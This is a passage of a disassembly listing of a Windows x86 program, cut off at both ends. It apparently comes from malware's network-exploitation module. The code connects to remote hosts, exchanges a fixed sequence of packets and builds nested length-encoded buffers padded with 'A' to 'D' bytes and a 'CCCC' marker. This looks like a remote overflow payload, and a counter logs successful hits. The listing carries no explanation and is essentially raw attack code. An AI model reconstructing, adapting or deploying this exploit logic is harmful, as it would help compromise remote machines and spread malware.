		push	offset loc_427668
		push	eax
		call	sub_417090
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417090
		add	esp, 40h
		push	esi
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417090
		add	esp, 10h
		xor	eax, eax

loc_4033CF:				; CODE XREF: sub_40321F+1C8j
		mov	cl, [ebp+eax+var_1CC4]
		mov	[ebp+eax*2+var_4803], bl
		mov	[ebp+eax*2+var_4804], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_4033CF
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417030
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417030
		add	esp, 18h
		jmp	short loc_403474
; ---------------------------------------------------------------------------

loc_40341D:				; CODE XREF: sub_40321F+119j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417030
		mov	esi, offset loc_426D30
		push	esi
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417090
		mov	eax, dword_427528
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_403474:				; CODE XREF: sub_40321F+1FCj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417030
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034B3

loc_4034AC:				; CODE XREF: sub_40321F+2BBj
					; sub_40321F+2E2j ...
		xor	al, al
		jmp	loc_40365B
; ---------------------------------------------------------------------------

loc_4034B3:				; CODE XREF: sub_40321F+28Bj
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		push	ebx
		push	68h
		push	offset dword_427150
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034AC
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		push	ebx
		push	0A0h
		push	offset dword_4271C0
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034AC
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035C9
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_427380
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417090
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4273F0
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417090
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_427468
		push	eax
		call	sub_417090
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034AC
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43EB3C	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40361F
; ---------------------------------------------------------------------------

loc_4035C9:				; CODE XREF: sub_40321F+2FAj
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_427268
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417090
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4272E8
		push	eax
		call	sub_417090
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_40361F:				; CODE XREF: sub_40321F+3A8j
		push	eax
		push	edi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034AC
		push	12Ch
		call	dword_423064	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030BE
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_40365B:				; CODE XREF: sub_40321F+28Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40321F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_4151D8
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417030
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43EB64	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43EB24	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43EBA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403768
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403768
		push	edi
		push	89h
		push	offset dword_426EC8
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403768
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		push	edi
		push	0A8h
		push	offset dword_426F58
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403768
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		push	edi
		push	0DEh
		push	offset dword_427008
		push	ebx
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403768
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40376F
		dec	eax
		jz	short loc_40376C

loc_403768:				; CODE XREF: .data:004036C3j
					; .data:004036D9j ...
		xor	eax, eax
		jmp	short loc_4037E8
; ---------------------------------------------------------------------------

loc_40376C:				; CODE XREF: .data:00403766j
		push	edi
		jmp	short loc_403793
; ---------------------------------------------------------------------------

loc_40376F:				; CODE XREF: .data:00403763j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40321F
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037B3
		push	1

loc_403793:				; CODE XREF: .data:0040376Dj
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40321F
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037BA

loc_4037B3:				; CODE XREF: .data:0040378Fj
		mov	dword ptr [ebp-4], 1

loc_4037BA:				; CODE XREF: .data:004037B1j
		push	ebx
		call	dword_43EBBC	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4037E5
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BD8D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_429D68[eax]
		inc	dword ptr [eax]

loc_4037E5:				; CODE XREF: .data:004037C5j
		xor	eax, eax
		inc	eax

loc_4037E8:				; CODE XREF: .data:0040376Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4037ED	proc near		; CODE XREF: sub_403A59+Ep
					; sub_403A59+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4037ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037F7	proc near		; CODE XREF: sub_403A59+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_417889
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403829
		push	ebx
		push	0
		push	edi
		call	sub_417030
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417090
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403829:				; CODE XREF: sub_4037F7+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4037F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403831	proc near		; CODE XREF: sub_403923+18p
					; sub_40399D+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417889
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40387D
		push	edi
		push	0
		push	esi
		call	sub_417030
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417090
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417090
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40387D:				; CODE XREF: sub_403831+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403831	endp


; =============== S U B	R O U T	I N E =======================================



sub_403886	proc near		; CODE XREF: sub_403923+5Ep
					; sub_403923+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403896
		push	eax
		call	sub_41793B
		pop	ecx

loc_403896:				; CODE XREF: sub_403886+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403886	endp


; =============== S U B	R O U T	I N E =======================================



sub_40389F	proc near		; CODE XREF: sub_403923+20p
					; sub_4039FE+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038C9
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_417889
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038CD

loc_4038C9:				; CODE XREF: sub_40389F+Dj
		xor	al, al
		jmp	short loc_40391F
; ---------------------------------------------------------------------------

loc_4038CD:				; CODE XREF: sub_40389F+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_417030
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_4038ED
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_403902
; ---------------------------------------------------------------------------

loc_4038ED:				; CODE XREF: sub_40389F+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]

loc_403902:				; CODE XREF: sub_40389F+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41793B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40391F:				; CODE XREF: sub_40389F+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40389F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403923	proc near		; CODE XREF: sub_403A59+89p
					; sub_403A59+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43BCF8
		call	sub_403831
		lea	ecx, [ebp+var_8]
		call	sub_40389F
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417889
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40395D
		xor	al, al
		jmp	short loc_403999
; ---------------------------------------------------------------------------

loc_40395D:				; CODE XREF: sub_403923+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417030
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417090
		add	esp, 18h
		mov	ecx, esi
		call	sub_403886
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403886
		mov	al, 1

loc_403999:				; CODE XREF: sub_403923+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399D	proc near		; CODE XREF: sub_4039D1+14p
					; sub_4039EE+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403831
		mov	ecx, esi
		call	sub_403886
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40399D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039D1	proc near		; CODE XREF: sub_403A59+F0p
					; sub_403A59+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4177B0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40399D
		pop	esi
		retn	4
sub_4039D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039EE	proc near		; CODE XREF: sub_403A3A+Bp
					; sub_403A59+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40399D
		retn	8
sub_4039EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039FE	proc near		; CODE XREF: sub_403A3A+16p
					; sub_403A59+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40389F
		test	al, al
		jz	short loc_403A37
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4279FF+1)
		call	sub_403831
		mov	ecx, esi
		call	sub_403886
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A37:				; CODE XREF: sub_4039FE+Fj
		pop	esi
		leave
		retn
sub_4039FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A3A	proc near		; CODE XREF: sub_403A59+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4039EE
		test	al, al
		jz	short loc_403A55
		mov	ecx, esi
		call	sub_4039FE

loc_403A55:				; CODE XREF: sub_403A3A+12j
		pop	esi
		retn	8
sub_403A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A59	proc near		; CODE XREF: .data:004042D0p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_4037ED
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403D9D
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403D9D
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_4037ED
		lea	ecx, [ebp+var_20]
		call	sub_4037ED
		lea	ecx, [ebp+var_50]
		call	sub_4037ED
		lea	ecx, [ebp+var_18]
		call	sub_4037ED
		lea	ecx, [ebp+var_40]
		call	sub_4037ED
		lea	ecx, [ebp+var_38]
		call	sub_4037ED
		lea	ecx, [ebp+var_28]
		call	sub_4037ED
		push	4
		push	offset dword_427694
		lea	ecx, [ebp+var_30]
		call	sub_40399D
		push	3
		push	offset dword_42769C
		lea	ecx, [ebp+var_30]
		call	sub_40399D
		lea	ecx, [ebp+var_30]
		call	sub_403923
		lea	ecx, [ebp+var_30]
		call	sub_4039FE
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_427688
		call	sub_40399D
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40399D
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40399D
		lea	ecx, [ebp+var_20]
		call	sub_403923
		push	offset loc_427A28
		lea	ecx, [ebp+var_50]
		call	sub_4039D1
		lea	ecx, [ebp+var_50]
		call	sub_403923
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4037F7
		lea	ecx, [ebp+var_58]
		call	sub_403923
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A3A
		lea	ecx, [ebp+var_58]
		call	sub_403886
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417030
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_4039D1
		push	4
		push	offset dword_4276A0
		lea	ecx, [ebp+var_18]
		call	sub_40399D
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40399D
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40399D
		lea	ecx, [ebp+var_18]
		call	sub_403923
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_4039EE
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_4039EE
		lea	ecx, [ebp+var_40]
		call	sub_4039FE
		lea	ecx, [ebp+var_18]
		call	sub_403886
		lea	ecx, [ebp+var_50]
		call	sub_403886
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_4039EE
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_4039EE
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_4039EE
		lea	ecx, [ebp+var_38]
		call	sub_4039FE
		lea	ecx, [ebp+var_20]
		call	sub_403886
		lea	ecx, [ebp+var_30]
		call	sub_403886
		lea	ecx, [ebp+var_40]
		call	sub_403886
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40399D
		lea	ecx, [ebp+var_28]
		call	sub_403923
		push	2
		push	offset dword_427A1C
		lea	ecx, [ebp+var_28]
		call	sub_40399D
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_4039EE
		lea	ecx, [ebp+var_28]
		call	sub_4039FE
		lea	ecx, [ebp+var_38]
		call	sub_403886
		lea	ecx, [ebp+var_10]
		call	sub_4037ED
		lea	ecx, [ebp+var_8]
		call	sub_4037ED
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_4039EE
		lea	ecx, [ebp+var_10]
		call	sub_40389F
		lea	ecx, [ebp+var_28]
		call	sub_403886
		push	offset dword_427A18
		lea	ecx, [ebp+var_8]
		call	sub_4039D1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4039EE
		lea	ecx, [ebp+var_8]
		call	sub_40389F
		lea	ecx, [ebp+var_10]
		call	sub_403886
		push	offset dword_427A14
		lea	ecx, [ebp+var_10]
		call	sub_4039D1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_4039EE
		lea	ecx, [ebp+var_10]
		call	sub_40389F
		lea	ecx, [ebp+var_8]
		call	sub_403886
		push	offset dword_427A08
		lea	ecx, [ebp+var_8]
		call	sub_4039D1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4039EE
		lea	ecx, [ebp+var_8]
		call	sub_40389F
		lea	ecx, [ebp+var_10]
		call	sub_403886
		push	offset dword_427A04
		lea	ecx, [ebp+var_48]
		call	sub_4039D1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_4039EE
		lea	ecx, [ebp+var_8]
		call	sub_403886
		pop	esi

loc_403D9D:				; CODE XREF: sub_403A59+1Bj
					; sub_403A59+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_403A59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DAF	proc near		; CODE XREF: sub_403E73+A2p
					; sub_403E73+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_42320C	; select
		cmp	eax, edi
		jnz	short loc_403E16
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422746	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403E1A

loc_403E16:				; CODE XREF: sub_403DAF+54j
		xor	eax, eax
		jmp	short loc_403E2A
; ---------------------------------------------------------------------------

loc_403E1A:				; CODE XREF: sub_403DAF+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43EB3C	; recv

loc_403E2A:				; CODE XREF: sub_403DAF+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E2E	proc near		; CODE XREF: sub_403E73+80p
					; sub_403E73+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43EB20	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	eax, 4
		jz	short loc_403E58
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E58:				; CODE XREF: sub_403E2E+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E73	proc near		; CODE XREF: sub_403F52+48p
					; .data:004043C1p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417889
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403E9C
		xor	al, al
		jmp	loc_403F4D
; ---------------------------------------------------------------------------

loc_403E9C:				; CODE XREF: sub_403E73+20j
		push	ebx
		push	0
		push	esi
		call	sub_417030
		push	2Fh
		push	offset dword_427730
		push	esi
		call	sub_417090
		push	8
		lea	eax, [esi+31h]
		push	offset dword_427760
		push	eax
		mov	[esi+2Fh], di
		call	sub_417090
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417090
		push	6
		add	ebx, edi
		push	offset dword_43BCF0
		push	ebx
		call	sub_417090
		push	85h
		push	offset dword_4276A8
		push	[ebp+arg_0]
		call	sub_403E2E
		add	esp, 48h
		test	al, al
		jnz	short loc_403F03

loc_403EFF:				; CODE XREF: sub_403E73+B8j
		xor	bl, bl
		jmp	short loc_403F44
; ---------------------------------------------------------------------------

loc_403F03:				; CODE XREF: sub_403E73+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_403DAF
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_403E2E
		add	esp, 1Ch
		test	al, al
		jz	short loc_403EFF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_403DAF
		add	esp, 10h
		mov	bl, 1

loc_403F44:				; CODE XREF: sub_403E73+8Ej
		push	esi
		call	sub_41793B
		pop	ecx
		mov	al, bl

loc_403F4D:				; CODE XREF: sub_403E73+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403E73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F52	proc near		; CODE XREF: .data:004043A7p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_427770
		push	[ebp+arg_0]
		call	dword_423208	; send
		cmp	eax, 48h
		jnz	short loc_403F8D
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DAF
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403F8D
		cmp	[ebp+var_20], 82h
		jz	short loc_403F91

loc_403F8D:				; CODE XREF: sub_403F52+1Bj
					; sub_403F52+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403F91:				; CODE XREF: sub_403F52+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403E73
		add	esp, 0Ch
		leave
		retn
sub_403F52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FA4	proc near		; CODE XREF: sub_403FF0+2Dp

